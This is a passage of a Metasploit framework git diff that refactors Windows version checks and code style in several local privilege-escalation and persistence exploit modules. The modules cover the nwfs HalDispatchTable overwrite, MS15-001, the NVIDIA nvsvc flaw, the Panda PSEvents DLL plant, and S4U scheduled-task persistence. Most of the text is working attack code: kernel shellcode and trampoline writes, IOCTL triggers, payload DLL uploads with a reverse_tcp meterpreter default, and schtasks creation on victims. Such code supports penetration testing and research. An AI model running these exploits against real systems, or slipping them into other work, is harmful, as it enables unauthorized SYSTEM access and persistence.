target system...") - os = sysinfo["OS"] - print_status("#{os.inspect}") - if os =~ /windows xp/i + print_status('Detecting the target system...') + version = get_version_info + print_status(version.product_name.to_s) + if version.build_number == Msf::WindowsVersion::XP_SP3 my_target = targets[1] print_status("Running against #{my_target.name}") end @@ -218,74 +218,74 @@ def exploit end if my_target.nil? - fail_with(Failure::NoTarget, "Remote system not detected as target, select the target manually") + fail_with(Failure::NoTarget, 'Remote system not detected as target, select the target manually') end - print_status("Checking device...") - handle = open_device("\\\\.\\nwfs") + print_status('Checking device...') + handle = open_device('\\\\.\\nwfs') if handle.nil? - fail_with(Failure::NoTarget, "\\\\.\\nwfs device not found") + fail_with(Failure::NoTarget, '\\\\.\\nwfs device not found') else - print_good("\\\\.\\nwfs found!") + print_good('\\\\.\\nwfs found!') end - print_status("Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...") + print_status('Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...') @addresses = disclose_addresses(my_target) if @addresses.nil? session.railgun.kernel32.CloseHandle(handle) - fail_with(Failure::Unknown, "Failed to disclose necessary addresses for exploitation. Aborting.") + fail_with(Failure::Unknown, 'Failed to disclose necessary addresses for exploitation. Aborting.') else - print_good("Addresses successfully disclosed.") + print_good('Addresses successfully disclosed.') end - print_status("Storing the kernel stager on memory...") + print_status('Storing the kernel stager on memory...') this_proc = session.sys.process.open kernel_shell = ring0_shellcode(my_target) kernel_shell_address = 0x1000 result = fill_memory(this_proc, kernel_shell_address, 0x1000, kernel_shell) if result.nil? session.railgun.kernel32.CloseHandle(handle) - fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory") + fail_with(Failure::Unknown, 'Error while storing the kernel stager shellcode on memory') else print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}") end - print_status("Storing the trampoline to the kernel stager on memory...") + print_status('Storing the trampoline to the kernel stager on memory...') trampoline = "\x90" * 0x20 # nops trampoline << "\x68" # push opcode - trampoline << [0x1000].pack("V") # address to push + trampoline << [0x1000].pack('V') # address to push trampoline << "\xc3" # ret trampoline_addr = 0x3 result = fill_memory(this_proc, trampoline_addr, 0x1000, trampoline) if result.nil? session.railgun.kernel32.CloseHandle(handle) - fail_with(Failure::Unknown, "Error while storing trampoline on memory") + fail_with(Failure::Unknown, 'Error while storing trampoline on memory') else print_good("Trampoline successfully stored at 0x#{trampoline_addr.to_s(16)}") end - print_status("Triggering the vulnerability, corrupting the HalDispatchTable...") + print_status('Triggering the vulnerability, corrupting the HalDispatchTable...') magic_ioctl = 0x1438BB - ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, @addresses["halDispatchTable"] + 0x4, 0x10, 0, 0) + session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, @addresses['halDispatchTable'] + 0x4, 0x10, 0, 0) session.railgun.kernel32.CloseHandle(handle) - print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...") - result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4) + print_status('Executing the Kernel Stager throw NtQueryIntervalProfile()...') + session.railgun.ntdll.NtQueryIntervalProfile(1337, 4) - print_status("Checking privileges after exploitation...") + print_status('Checking privileges after exploitation...') - if not is_system? + if !is_system? fail_with(Failure::Unknown, "The exploitation wasn't successful") else - print_good("Exploitation successful!") + print_good('Exploitation successful!') end p = payload.encoded - print_status("Injecting #{p.length.to_s} bytes to memory and executing it...") + print_status("Injecting #{p.length} bytes to memory and executing it...") if execute_shellcode(p) - print_good("Enjoy") + print_good('Enjoy') else - fail_with(Failure::Unknown, "Error while executing the payload") + fail_with(Failure::Unknown, 'Error while executing the payload') end end end diff --git a/modules/exploits/windows/local/ntapphelpcachecontrol.rb b/modules/exploits/windows/local/ntapphelpcachecontrol.rb index 5120ea2c54fed..a2e41656c0fba 100644 --- a/modules/exploits/windows/local/ntapphelpcachecontrol.rb +++ b/modules/exploits/windows/local/ntapphelpcachecontrol.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking @@ -13,64 +12,64 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::Windows::Process include Msf::Post::Windows::ReflectiveDLLInjection - def initialize(info={}) - super(update_info(info, { - 'Name' => 'MS15-001 Microsoft Windows NtApphelpCacheControl Improper Authorization Check', - 'Description' => %q{ - On Windows, the system call NtApphelpCacheControl (the code is actually in ahcache.sys) - allows application compatibility data to be cached for quick reuse when new processes are - created. A normal user can query the cache but cannot add new cached entries as the - operation is restricted to administrators. This is checked in the function - AhcVerifyAdminContext. - - This function has a vulnerability where it doesn't correctly check the impersonation token - of the caller to determine if the user is an administrator. It reads the caller's - impersonation token using PsReferenceImpersonationToken and then does a comparison between - the user SID in the token to LocalSystem's SID. It doesn't check the impersonation level - of the token so it's possible to get an identify token on your thread from a local system - process and bypass this check. - - This module currently only affects Windows 8 and Windows 8.1, and requires access to - C:\Windows\System\ComputerDefaults.exe (although this can be improved). - }, - 'License' => MSF_LICENSE, + def initialize(info = {}) + super( + update_info( + info, + { + 'Name' => 'MS15-001 Microsoft Windows NtApphelpCacheControl Improper Authorization Check', + 'Description' => %q{ + On Windows, the system call NtApphelpCacheControl (the code is actually in ahcache.sys) + allows application compatibility data to be cached for quick reuse when new processes are + created. A normal user can query the cache but cannot add new cached entries as the + operation is restricted to administrators. This is checked in the function + AhcVerifyAdminContext. + + This function has a vulnerability where it doesn't correctly check the impersonation token + of the caller to determine if the user is an administrator. It reads the caller's + impersonation token using PsReferenceImpersonationToken and then does a comparison between + the user SID in the token to LocalSystem's SID. It doesn't check the impersonation level + of the token so it's possible to get an identify token on your thread from a local system + process and bypass this check. + + This module currently only affects Windows 8 and Windows 8.1, and requires access to + C:\Windows\System\ComputerDefaults.exe (although this can be improved). + }, + 'License' => MSF_LICENSE, 'Notes' => { 'Stability' => [], 'SideEffects' => [], 'Reliability' => [] }, - 'Author' => - [ - 'James Forshaw', - 'sinn3r' - ], - 'Platform' => 'win', - 'SessionTypes' => [ 'meterpreter' ], - 'Arch' => [ARCH_X86, ARCH_X64], - 'DefaultOptions' => - { - 'EXITFUNC' => 'thread', - }, - 'Targets' => - [ - [ 'Windows 8 / Windows 8.1 (x86 and x64)', {} ] - ], - 'DefaultTarget' => 0, - 'Payload' => - { - 'Space' => 4096, - 'DisableNops' => true - }, - 'References' => - [ - [ 'MSB', 'MS15-001' ], - [ 'CVE', '2015-0002' ], + 'Author' => [ + 'James Forshaw', + 'sinn3r' + ], + 'Platform' => 'win', + 'SessionTypes' => [ 'meterpreter' ], + 'Arch' => [ARCH_X86, ARCH_X64], + 'DefaultOptions' => { + 'EXITFUNC' => 'thread' + }, + 'Targets' => [ + [ 'Windows 8 / Windows 8.1 (x86 and x64)', {} ] + ], + 'DefaultTarget' => 0, + 'Payload' => { + 'Space' => 4096, + 'DisableNops' => true + }, + 'References' => [ + [ 'MSB', 'MS15-001' ], + [ 'CVE', '2015-0002' ], [ 'OSVDB', '116497' ], - [ 'EDB', '35661' ], - [ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=118'] - ], - 'DisclosureDate' => '2014-09-30' - })) + [ 'EDB', '35661' ], + [ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=118'] + ], + 'DisclosureDate' => '2014-09-30' + } + ) + ) end def temp @@ -82,7 +81,7 @@ def payload_filepath end def upload_payload_dll(payload_filepath) - payload = generate_payload_dll({:dll_exitprocess => true}) + payload = generate_payload_dll({ dll_exitprocess: true }) begin write_file(payload_filepath, payload) rescue Rex::Post::Meterpreter::RequestError => e @@ -96,12 +95,13 @@ def upload_payload # Upload the payload upload_payload_dll(payload_filepath) if !file?(payload_filepath) - fail_with(Failure::Unknown, "Failed to save the payload DLL, or got removed. No idea why.") + fail_with(Failure::Unknown, 'Failed to save the payload DLL, or got removed. No idea why.') end end def check - if sysinfo['OS'] =~ /Windows 8/ + version = get_version_info + if version.build_number.between?(Msf::WindowsVersion::Win8, Msf::WindowsVersion::Win81) return Exploit::CheckCode::Detected end @@ -110,21 +110,21 @@ def check def exploit if session.arch != ARCH_X86 - print_error("Sorry, this module currently only allows x86/win32 sessions.") - print_error("You will have to get a x86/win32 session first, and then you can") + print_error('Sorry, this module currently only allows x86/win32 sessions.') + print_error('You will have to get a x86/win32 session first, and then you can') print_error("select a x64 payload as this exploit's payload.") return end - print_status("Uploading the payload DLL") + print_status('Uploading the payload DLL') upload_payload - print_status("Injecting the exploit DLL and instructing to run the payload DLL upon successful exploitation...") + print_status('Injecting the exploit DLL and instructing to run the payload DLL upon successful exploitation...') lib_file_path = ::File.join( - Msf::Config.data_directory, "exploits", "ntapphelpcachecontrol", 'exploit.dll' + Msf::Config.data_directory, 'exploits', 'ntapphelpcachecontrol', 'exploit.dll' ) execute_dll(lib_file_path, payload_filepath) - print_status("You should now have an elevated session, enjoy!") + print_status('You should now have an elevated session, enjoy!') end end diff --git a/modules/exploits/windows/local/ntusermndragover.rb b/modules/exploits/windows/local/ntusermndragover.rb index c3702fb44e943..5a03cb1222066 100644 --- a/modules/exploits/windows/local/ntusermndragover.rb +++ b/modules/exploits/windows/local/ntusermndragover.rb @@ -62,17 +62,16 @@ def initialize(info = {}) end def check - sysinfo_value = sysinfo['OS'] - - if sysinfo_value !~ /windows/i + if session.platform != 'windows' # Non-Windows systems are definitely not affected. return CheckCode::Safe end - build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i - vprint_status("Windows Build Number = #{build_num}") + version = get_version_info + + vprint_status("OS version: #{version}") # see https://docs.microsoft.com/en-us/windows/release-information/ - unless sysinfo_value =~ /7/ && (build_num >= 7600 && build_num <= 7601) + unless version.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win7_SP1) && version.workstation? print_error('The exploit only supports Windows 7 versions 7600 and 7601') return CheckCode::Safe end diff --git a/modules/exploits/windows/local/nvidia_nvsvc.rb b/modules/exploits/windows/local/nvidia_nvsvc.rb index f8ed99c92861f..ca32767bc196e 100644 --- a/modules/exploits/windows/local/nvidia_nvsvc.rb +++ b/modules/exploits/windows/local/nvidia_nvsvc.rb @@ -36,7 +36,7 @@ def initialize(info = {}) 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { - 'EXITFUNC' => 'thread', + 'EXITFUNC' => 'thread' }, 'Targets' => [ [ 'Windows x64', {} ] @@ -72,28 +72,25 @@ def check '3341d2c91989bc87c3c0baa97c27253b' ] - os = sysinfo["OS"] - if os =~ /windows/i + if session.platform == 'windows' svc = service_info 'nvsvc' - if svc and svc[:display] =~ /NVIDIA/i + if svc && svc[:display] =~ (/NVIDIA/i) vprint_good("Found service '#{svc[:display]}'") begin if is_running? - vprint_good("Service is running") + vprint_good('Service is running') else - vprint_error("Service is not running!") + vprint_error('Service is not running!') end - rescue RuntimeError => e - vprint_error("Unable to retrieve service status") + rescue RuntimeError + vprint_error('Unable to retrieve service status') return Exploit::CheckCode::Unknown end + path = svc[:path].gsub('"', '').strip if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86 - path = svc[:path].gsub('"', '').strip - path.gsub!("system32", "sysnative") - else - path = svc[:path].gsub('"', '').strip + path.gsub!('system32', 'sysnative') end begin @@ -117,13 +114,11 @@ def check end def is_running? - begin - status = service_status('nvsvc') - return (status and status[:state] == 4) - rescue RuntimeError => e - print_error("Unable to retrieve service status") - return false - end + status = service_status('nvsvc') + return (status and status[:state] == 4) + rescue RuntimeError + print_error('Unable to retrieve service status') + return false end def exploit @@ -132,22 +127,22 @@ def exploit end unless check == Exploit::CheckCode::Vulnerable - fail_with(Failure::NotVulnerable, "Exploit not available on this system.") + fail_with(Failure::NotVulnerable, 'Exploit not available on this system.') end - print_status("Launching a process to host the exploit and reflectively injecting and executing the exploit DLL...") + print_status('Launching a process to host the exploit and reflectively injecting and executing the exploit DLL...') # invoke the exploit, passing in the address of the payload that # we want invoked on successful exploitation. library_path = ::File.join(Msf::Config.data_directory, - "exploits", - "CVE-2013-0109", - "nvidia_nvsvc.x86.dll") + 'exploits', + 'CVE-2013-0109', + 'nvidia_nvsvc.x86.dll') encoded_payload = payload.encoded # Forceably run the a 32-bit process because our payload is 32-bit even though # we're running on x64. execute_dll(library_path, encoded_payload) - print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.") + print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') end end diff --git a/modules/exploits/windows/local/panda_psevents.rb b/modules/exploits/windows/local/panda_psevents.rb index cac2b4639f36c..df2c03a4b28c2 100644 --- a/modules/exploits/windows/local/panda_psevents.rb +++ b/modules/exploits/windows/local/panda_psevents.rb @@ -3,97 +3,102 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Exploit::EXE include Exploit::FileDropper include Post::File + include Msf::Post::Windows::Version - def initialize(info={}) - super( update_info( info, - 'Name' => 'Panda Security PSEvents Privilege Escalation', - 'Description' => %q{ - PSEvents.exe within several Panda Security products runs hourly with SYSTEM privileges. - When run, it checks a user writable folder for certain DLL files, and if any are found - they are automatically run. - Vulnerable Products: - Panda Global Protection 2016 (<=16.1.2) - Panda Antivirus Pro 2016 (<=16.1.2) - Panda Small Business Protection (<=16.1.2) - Panda Internet Security 2016 (<=16.1.2) - }, - 'License' => MSF_LICENSE, - 'Author' => [ - "h00die ", # Module, + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Panda Security PSEvents Privilege Escalation', + 'Description' => %q{ + PSEvents.exe within several Panda Security products runs hourly with SYSTEM privileges. + When run, it checks a user writable folder for certain DLL files, and if any are found + they are automatically run. + Vulnerable Products: + Panda Global Protection 2016 (<=16.1.2) + Panda Antivirus Pro 2016 (<=16.1.2) + Panda Small Business Protection (<=16.1.2) + Panda Internet Security 2016 (<=16.1.2) + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die ', # Module, 'Security-Assessment.com' # discovery ], - 'Platform' => [ 'win' ], - 'SessionTypes' => [ 'meterpreter' ], - 'Targets' => [ + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ], + 'Targets' => [ [ 'Windows x86', { 'Arch' => ARCH_X86 } ], [ 'Windows x64', { 'Arch' => ARCH_X64 } ] - ], - 'DefaultTarget' => 0, - 'DefaultOptions' => { - 'payload' => 'windows/meterpreter/reverse_tcp', - 'exitfunc' => 'seh' - }, - 'References' => [ - [ - 'EDB', '40020', - 'URL', 'http://www.security-assessment.com/files/documents/advisory/Panda%20Security%20-%20Privilege%20Escalation.pdf', - 'URL', 'http://www.pandasecurity.com/uk/support/card?id=100053' - ] - ], - 'DisclosureDate'=> '2016-06-27' - )) + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'payload' => 'windows/meterpreter/reverse_tcp', + 'exitfunc' => 'seh' + }, + 'References' => [ + [ + 'EDB', '40020', + 'URL', 'http://www.security-assessment.com/files/documents/advisory/Panda%20Security%20-%20Privilege%20Escalation.pdf', + 'URL', 'http://www.pandasecurity.com/uk/support/card?id=100053' + ] + ], + 'DisclosureDate' => '2016-06-27' + ) + ) register_options( [ - OptEnum.new('DLL', [ true, 'dll to create', 'cryptnet.dll', - ['cryptnet.dll', 'bcryptPrimitives.dll', 'CRYPTBASE.dll']]), + OptEnum.new('DLL', [ + true, 'dll to create', 'cryptnet.dll', + ['cryptnet.dll', 'bcryptPrimitives.dll', 'CRYPTBASE.dll'] + ]), OptInt.new('ListenerTimeout', [true, 'Number of seconds to wait for the exploit', 3610]), - ]) + ] + ) end - def get_path() - case sysinfo['OS'] - when /Windows (NT|XP)/ + def get_path + version = get_version_info + if version.build_number < Msf::WindowsVersion::Vista_SP0 return '%AllUsersProfile%\\Application Data\\Panda Security\\Panda Devices Agent\\Downloads\\1a2d7253f106c617b45f675e9be08171' - else #/Windows (7|8|10|2012|2008)/ we assume a modern operating system + else # AllUsers directory changed as of Vista return '%ProgramData%\\Panda Security\\Panda Devices Agent\\Downloads\\1a2d7253f106c617b45f675e9be08171' end end def check - if directory?(get_path()) + if directory?(get_path) print_good('Vuln path exists') CheckCode::Appears else - vprint_error("#{get_path()} doesn't exist on target") + vprint_error("#{get_path} doesn't exist on target") CheckCode::Safe end end def exploit - vprint_status("OS Detected as: #{sysinfo['OS']}") + version = get_version_info + vprint_status("OS Detected as: #{version.product_name}") - payload_filepath = get_path() + payload_filepath = get_path payload_filepath = "#{payload_filepath}\\#{datastore['DLL']}" upload_payload_dll(payload_filepath) # start the hour wait stime = Time.now.to_f print_status 'Starting the payload handler, waiting for PSEvents.exe to process folder (up to an hour)...' - print_status "Start Time: #{Time.now.to_s}" - until session_created? || stime + datastore['ListenerTimeout'] < Time.now.to_f - Rex.sleep(1) - end + print_status "Start Time: #{Time.now}" + Rex.sleep(1) until session_created? || stime + datastore['ListenerTimeout'] < Time.now.to_f end def upload_payload_dll(payload_filepath) - payload = generate_payload_dll() + payload = generate_payload_dll print_status('Uploading the Payload DLL to the filesystem...') begin vprint_status("Payload DLL #{payload.length} bytes long being uploaded..") diff --git a/modules/exploits/windows/local/ppr_flatten_rec.rb b/modules/exploits/windows/local/ppr_flatten_rec.rb index 616c7a21648c4..5f17eb2b48b87 100644 --- a/modules/exploits/windows/local/ppr_flatten_rec.rb +++ b/modules/exploits/windows/local/ppr_flatten_rec.rb @@ -70,9 +70,8 @@ def initialize(info = {}) end def check - os = sysinfo["OS"] - if os =~ /windows/i - file_path = session.sys.config.getenv('windir') << "\\system32\\win32k.sys" + if session.platform == 'windows' + file_path = session.sys.config.getenv('windir') << '\\system32\\win32k.sys' major, minor, build, revision, branch = file_version(file_path) vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision}") @@ -93,22 +92,22 @@ def check when 6002 if branch == 18 return Exploit::CheckCode::Appears if revision < 18861 - else - return Exploit::CheckCode::Appears if revision < 23132 + elsif revision < 23132 + return Exploit::CheckCode::Appears end when 7600 return Exploit::CheckCode::Appears when 7601 if branch == 18 return Exploit::CheckCode::Appears if revision < 18176 - else - return Exploit::CheckCode::Appears if revision < 22348 + elsif revision < 22348 + return Exploit::CheckCode::Appears end when 9200 if branch == 16 return Exploit::CheckCode::Appears if revision < 16627 - else - return Exploit::CheckCode::Appears if revision < 20732 + elsif revision < 20732 + return Exploit::CheckCode::Appears end end end @@ -122,11 +121,11 @@ def exploit end if check == Exploit::CheckCode::Safe - fail_with(Failure::NotVulnerable, "Exploit not available on this system.") + fail_with(Failure::NotVulnerable, 'Exploit not available on this system.') end - if sysinfo["Architecture"] == ARCH_X64 - fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported") + if sysinfo['Architecture'] == ARCH_X64 + fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported') end # invoke the exploit, passing in the address of the payload that @@ -134,7 +133,7 @@ def exploit print_status('Reflectively injecting the DLL into a new process and triggering the LPE...') encoded_payload = payload.encoded execute_dll( - ::File.join(Msf::Config.data_directory, "exploits", "cve-2013-3660", "ppr_flatten_rec.x86.dll"), + ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2013-3660', 'ppr_flatten_rec.x86.dll'), encoded_payload ) print_status("Exploit thread executing (can take a while to run), waiting #{datastore['WfsDelay']} sec ...") diff --git a/modules/exploits/windows/local/s4u_persistence.rb b/modules/exploits/windows/local/s4u_persistence.rb index 0e39f1cb2f5c6..98a397467408e 100644 --- a/modules/exploits/windows/local/s4u_persistence.rb +++ b/modules/exploits/windows/local/s4u_persistence.rb @@ -69,15 +69,14 @@ def initialize(info = {}) end def exploit - if not (sysinfo['OS'] =~ /Windows (Vista|7|8|2008|2012|2016|2019|2022|10)/ ) - fail_with(Failure::NoTarget, "This module only works on Vista/2008 and above") + version = get_version_info + unless version.build_number >= Msf::WindowsVersion::Vista_SP0 + fail_with(Failure::NoTarget, 'This module only works on Vista/2008 and above') end - if datastore['TRIGGER'] == "event" - if datastore['EVENT_LOG'].nil? or datastore['EVENT_ID'].nil? - print_status("The properties of any event in the event viewer will contain this information") - fail_with(Failure::BadConfig, "Advanced options EVENT_LOG and EVENT_ID required for event") - end + if datastore['TRIGGER'] == 'event' && (datastore['EVENT_LOG'].nil? || datastore['EVENT_ID'].nil?) + print_status('The properties of any event in the event viewer will contain this information') + fail_with(Failure::BadConfig, 'Advanced options EVENT_LOG and EVENT_ID required for event') end # Generate payload @@ -102,7 +101,7 @@ def exploit write_xml(xml, xml_path, rexe_path) # Name task with Opt or give random name - schname = datastore['RTASKNAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) + schname = datastore['RTASKNAME'] || Rex::Text.rand_text_alpha(rand(6..13)) # Create task with modified XML create_task(xml_path, schname, rexe_path) @@ -112,8 +111,8 @@ def exploit # Generate name for payload # Returns name def generate_rexename - rexename = datastore['REXENAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) + ".exe" - if not rexename =~ /\.exe$/ + rexename = datastore['REXENAME'] || Rex::Text.rand_text_alpha(rand(6..13)) + '.exe' + if rexename !~ /\.exe$/ print_warning("#{datastore['REXENAME']} isn't an exe") end return rexename @@ -125,7 +124,7 @@ def generate_rexename def generate_path(rexename) # Generate a path to write payload and XML path = datastore['PATH'] || session.sys.config.getenv('TEMP') - xml_path = "#{path}\\#{Rex::Text.rand_text_alpha((rand(8) + 6))}.xml" + xml_path = "#{path}\\#{Rex::Text.rand_text_alpha(rand(6..13))}.xml" rexe_path = "#{path}\\#{rexename}" return xml_path, rexe_path end @@ -142,7 +141,7 @@ def upload_rexe(path, payload) begin write_file(path, payload) - rescue => e + rescue StandardError fail_with(Failure::Unknown, "Could not upload to #{path}") end @@ -153,22 +152,22 @@ def upload_rexe(path, payload) # Creates a scheduled task, exports as XML, deletes task # Returns normal XML for generic task def create_xml(rexe_path) - xml_path = File.join(Msf::Config.data_directory, "exploits", "s4u_persistence.xml") - xml_file = File.new(xml_path, "r") + xml_path = File.join(Msf::Config.data_directory, 'exploits', 's4u_persistence.xml') + xml_file = File.new(xml_path, 'r') xml = xml_file.read xml_file.close # Get local time, not system time from victim machine begin vt = client.railgun.kernel32.GetLocalTime(32) - ut = vt['lpSystemTime'].unpack("v*") + ut = vt['lpSystemTime'].unpack('v*') t = ::Time.utc(ut[0], ut[1], ut[3], ut[4], ut[5]) - rescue - print_warning("Could not read system time from victim... Using your local time to determine creation date") + rescue StandardError + print_warning('Could not read system time from victim... Using your local time to determine creation date') t = ::Time.now end - date = t.strftime("%Y-%m-%d") - time = t.strftime("%H:%M:%S") + date = t.strftime('%Y-%m-%d') + time = t.strftime('%H:%M:%S') # Put in correct times xml = xml.gsub(/DATEHERE/, "#{date}T#{time}") @@ -192,19 +191,19 @@ def add_xml_triggers(xml) case datastore['TRIGGER'] when 'logon' # Trigger based on winlogon event, checks windows license key after logon - print_status("This trigger triggers on event 4101 which validates the Windows license") + print_status('This trigger triggers on event 4101 which validates the Windows license') line = "*[System[EventID='4101']] and *[System[Provider[@Name='Microsoft-Windows-Winlogon']]]" - xml = create_trigger_event_tags("Application", line, xml) + xml = create_trigger_event_tags('Application', line, xml) when 'lock' - xml = create_trigger_tags("SessionLock", xml) + xml = create_trigger_tags('SessionLock', xml) when 'unlock' - xml = create_trigger_tags("SessionUnlock", xml) + xml = create_trigger_tags('SessionUnlock', xml) when 'event' line = "*[System[(EventID=#{datastore['EVENT_ID']})]]" - if not datastore['XPATH'].nil? and not datastore['XPATH'].empty? + if !datastore['XPATH'].nil? && !datastore['XPATH'].empty? # Append xpath queries line << " and #{datastore['XPATH']}" # Print XPath query, useful to user to spot issues with uncommented single quotes @@ -218,7 +217,7 @@ def add_xml_triggers(xml) unless datastore['FREQUENCY'].nil? || datastore['FREQUENCY'] == 0 minutes = datastore['FREQUENCY'] else - print_status("Defaulting frequency to every hour") + print_status('Defaulting frequency to every hour') minutes = 60 end xml = xml.sub(/.*?PT#{minutes}M<") @@ -228,7 +227,7 @@ def add_xml_triggers(xml) # Generate expire tag end_boundary = create_expire_tag # Inject expire tag - insert = xml.index("") + insert = xml.index('') xml.insert(insert + 16, "\n #{end_boundary}") end end @@ -238,21 +237,21 @@ def add_xml_triggers(xml) ############################################################## # Creates end boundary tag which expires the trigger # Returns XML for expire - def create_expire_tag() + def create_expire_tag # Get local time, not system time from victim machine begin vt = client.railgun.kernel32.GetLocalTime(32) - ut = vt['lpSystemTime'].unpack("v*") + ut = vt['lpSystemTime'].unpack('v*') t = ::Time.utc(ut[0], ut[1], ut[3], ut[4], ut[5]) - rescue - print_error("Could not read system time from victim... Using your local time to determine expire date") + rescue StandardError + print_error('Could not read system time from victim... Using your local time to determine expire date') t = ::Time.now end # Create time object to add expire time to and create tag - t = t + (datastore['EXPIRE_TIME'] * 60) - date = t.strftime("%Y-%m-%d") - time = t.strftime("%H:%M:%S") + t += (datastore['EXPIRE_TIME'] * 60) + date = t.strftime('%Y-%m-%d') + time = t.strftime('%H:%M:%S') end_boundary = "#{date}T#{time}" return end_boundary end @@ -271,9 +270,9 @@ def create_trigger_tags(trig, xml) temp_xml << " true\n" temp_xml << " #{trig}\n" temp_xml << " #{domain}\\#{user}\n" - temp_xml << " " + temp_xml << ' ' - xml = xml.gsub(/.*<\/TimeTrigger>/m, temp_xml) + xml = xml.gsub(%r{.*}m, temp_xml) return xml end @@ -288,14 +287,14 @@ def create_trigger_event_tags(log, line, xml) temp_xml = "\n" temp_xml << " #{create_expire_tag}\n" unless datastore['EXPIRE_TIME'] == 0 temp_xml << " true\n" - temp_xml << " <QueryList><Query Id=\"0\" " + temp_xml << ' <QueryList><Query Id="0" ' temp_xml << "Path=\"#{log}\"><Select Path=\"#{log}\">" temp_xml << line - temp_xml << "</Select></Query></QueryList>" + temp_xml << '</Select></Query></QueryList>' temp_xml << "\n" - temp_xml << " " + temp_xml << ' ' - xml = xml.gsub(/.*<\/TimeTrigger>/m, temp_xml) + xml = xml.gsub(%r{.*}m, temp_xml) return xml end @@ -309,7 +308,7 @@ def write_xml(xml, path, rexe_path) end begin write_file(path, xml) - rescue + rescue StandardError delete_file(rexe_path) fail_with(Failure::Unknown, "Issues writing XML to #{path}") end @@ -320,11 +319,9 @@ def write_xml(xml, path, rexe_path) # Takes path and delete file # Returns boolean for success def delete_file(path) - begin - file_rm(path) - rescue - print_warning("Could not delete file #{path}, delete manually") - end + file_rm(path) + rescue StandardError + print_warning("Could not delete file #{path}, delete manually") end ############################################################## @@ -332,43 +329,43 @@ def delete_file(path) # Returns boolean for success def create_task(path, schname, rexe_path) # create task using XML file on victim fs - create_task_response = cmd_exec("cmd.exe", "/c schtasks /create /xml #{path} /tn \"#{schname}\"") + create_task_response = cmd_exec('cmd.exe', "/c schtasks /create /xml #{path} /tn \"#{schname}\"") if create_task_response =~ /has successfully been created/ print_good("Persistence task #{schname} created successfully") # Create to delete commands for exe and task del_task = "schtasks /delete /tn \"#{schname}\" /f" - print_status("#{"To delete task:".ljust(20)} #{del_task}") - print_status("#{"To delete payload:".ljust(20)} del #{rexe_path}") + print_status("#{'To delete task:'.ljust(20)} #{del_task}") + print_status("#{'To delete payload:'.ljust(20)} del #{rexe_path}") del_task << "\ndel #{rexe_path}" # Delete XML from victim delete_file(path) # Save info to notes DB - report_note(:host => session.session_host, - :type => "host.s4u_persistance.cleanup", - :data => { - :session_num => session.sid, - :stype => session.type, - :desc => session.info, - :platform => session.platform, - :via_payload => session.via_payload, - :via_exploit => session.via_exploit, - :created_at => Time.now.utc, - :delete_commands => del_task + report_note(host: session.session_host, + type: 'host.s4u_persistance.cleanup', + data: { + session_num: session.sid, + stype: session.type, + desc: session.info, + platform: session.platform, + via_payload: session.via_payload, + via_exploit: session.via_exploit, + created_at: Time.now.utc, + delete_commands: del_task }) elsif create_task_response =~ /ERROR: Cannot create a file when that file already exists/ # Clean up delete_file(rexe_path) delete_file(path) - error = "The scheduled task name is already in use" + error = 'The scheduled task name is already in use' fail_with(Failure::Unknown, error) else - error = "Issues creating task using XML file schtasks" + error = 'Issues creating task using XML file schtasks' vprint_error("Error: #{create_task_response}") - if datastore['EVENT_LOG'] == 'Security' and datastore['TRIGGER'] == "Event" - print_warning("Security log can restricted by UAC, try a different trigger") + if (datastore['EVENT_LOG'] == 'Security') && (datastore['TRIGGER'] == 'Event') + print_warning('Security log can restricted by UAC, try a different trigger') end # Clean up delete_file(rexe_path) diff --git a/modules/exploits/windows/local/srclient_dll_hijacking.rb b/modules/exploits/windows/local/srclient_dll_hijacking.rb index c09eb6e7be1fe..fb62592422d5e 100644 --- a/modules/exploits/windows/local/srclient_dll_hijacking.rb +++ b/modules/exploits/windows/local/srclient_dll_hijacking.rb @@ -50,7 +50,8 @@ def initialize(info = {}) 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE, ], - 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, SCREEN_EFFECTS ] + 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, SCREEN_EFFECTS ], + 'Reliability' => [] }, 'Compat' => { 'Meterpreter' => { @@ -230,16 +231,12 @@ def monitor_tiworker end def check - # check OS - unless sysinfo['OS'].include?('2012') + version = get_version_info + unless version.build_number == Msf::WindowsVersion::Server2012 && version.windows_server? return Exploit::CheckCode::Safe('Target is not Windows Server 2012.') end - if sysinfo['OS'].include?('R2') - return Exploit::CheckCode::Safe('Target is Windows Server 2012 R2, but only Windows Server 2012 is vulnerable.') - end - - print_status("Target is #{sysinfo['OS']}") + print_status("Target is #{version.product_name}") # obtain the Windows Update setting to see if exploitation could work at all @wupdate_setting = 